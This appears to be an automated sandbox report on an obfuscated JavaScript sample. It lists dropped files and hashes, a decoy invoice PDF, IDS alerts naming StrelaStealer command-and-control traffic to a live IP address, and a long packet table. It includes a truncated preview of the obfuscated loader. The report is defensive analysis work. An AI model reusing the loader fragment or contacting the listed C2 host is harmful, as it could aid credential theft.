Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e240d48c-ee8f-407d-8248-2d741c46e5cc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16365), with CRLF line terminators
Entropy (8bit):	4.90798634123323
TrID:
File name:	22964327542023110895.js
File size:	19'785 bytes
MD5:	8acd8f57ab700511342f3b5ab5072643
SHA1:	0737e614e8737eed6df93393df548d1c00d8a188
SHA256:	c8a06706c0dfa4339677b03476e1d98bc3fc70008d88bee753042154f78fc142
SHA512:	574e85e9c6407d9e881352f661564eb60e610dc30286922e8d9a1afac0019490ed78ca6058175a1930af76b638a6a4685d6ede1d418d4579df60496049f0734f
SSDEEP:	384:bWa/leQIx3t8jve6ysqkwvR8MnbBOJiNDOB5Lcv9+Q5733shOU61rALUEX+ejofT:bWa/Yx6hGZJEX+bOk9
TLSH:	AA925318E5849821DFF016F92A5D0EEF47DC824E49FE501DA49B1C000E1CEAAF5DAAFD
File Content Preview:	function jxina(){quyng=[1031,3079,5127,4103,2055,3072];var kgejm=this[wdruhyw+pfgigpr+nsceajns+hymxasmt+fbgxxd+zezwo+bcovcedi+azgnmoeg](this[rpddjgj+tetlkmb+aouwsgof+nsceajns+tuohz+wdruhyw+azgnmoeg][xhbfgfa+nsceajns+fbgxxd+pfgigpr+azgnmoeg+fbgxxd+gzsefld+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T04:48:18.625223+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T04:48:18.625223+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T04:48:21.546060+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:48:17.827622890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:17.832659006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:17.832745075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:17.835776091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:17.840579033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.624999046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.625027895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.625036001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.625051022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.625058889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.625066996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.625076056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.625086069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.625099897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.625118017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.625222921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.628515005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.629997969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.671087980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.679184914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.679199934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.679276943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.745812893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.745830059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.745846033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.745876074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.745996952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.746011972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.746020079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.746043921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.746057987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.746067047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.746098042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.746985912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.746999979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.747018099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.747033119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.747047901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.747054100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.747072935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.747684002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.747706890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.747723103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.747729063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.747737885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.747755051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.747771978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.747791052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.748507977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.748522997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.748538017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.748550892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.748569965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.748591900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.811403990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.811424017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.811527967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.852606058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.852627039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.852642059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.852734089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.866441011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.866456032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.866496086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.866503954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.866513014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.866528988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.866533995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.866559029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.866928101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.866942883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.866957903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.866972923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.866978884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.867016077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.867294073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.867306948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.867325068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.867345095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.867348909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.867363930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.867379904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.867382050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.867464066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.867866039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.867880106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.867894888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.867932081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.867945910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.867960930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.867975950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.867979050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.867990017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.868009090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.868635893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.868649960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.868666887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.868673086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.868702888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.868793011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.868808031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.868824005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.868839025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.868851900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.868855953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.868874073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.869606972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.869621992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.869630098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.869657040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.869663000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.869677067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.869692087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.869695902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.869708061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.869715929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.869759083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.870543003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.870570898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.870584965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.870608091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.870611906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.870656967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.871244907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.898308992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.898328066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.898344040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.898396015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.898442984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.939400911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.940542936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.940907955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.972960949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.972986937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.973004103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.973020077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.973036051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.973045111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.973073959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.986973047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.986989021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.987005949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.987057924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.987062931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.987076044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.987241030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.987256050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.987263918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.987278938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.987293959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.987299919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.987308979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.987332106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.987896919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.987911940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.987926960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.987938881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.987965107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.987970114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.987984896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.988001108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.988015890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.988022089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.988049984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.988827944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.988845110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.988859892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.988874912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.988878012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.988889933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.988905907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.988909960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.988922119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.988938093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.988948107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.988974094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.989674091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.989689112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.989707947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.989739895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.989754915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.989769936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.989787102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.989850044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.989924908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.989924908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.990761995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.990776062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.990794897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.990808964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.990813971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.990824938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.990839958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.990844965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.990855932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.990869999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.990876913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.990905046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.991586924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.991601944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.991626978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.991641998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.991646051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.991657019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.991677999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.991677999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.991693974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.991710901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.991714954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.991749048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.992670059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.992685080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.992701054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.992714882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.992728949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.992731094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.992743969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.992747068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.992759943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.992774963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.992788076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.992815018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.993531942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.993546009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.993570089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.993594885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.993602037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.993609905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.993618965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.993626118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.993654966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.993686914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.993724108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 04:48:18.994477034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 04:48:18.994499922 CET	80	49730	193.143.1.205	192.168.2.4
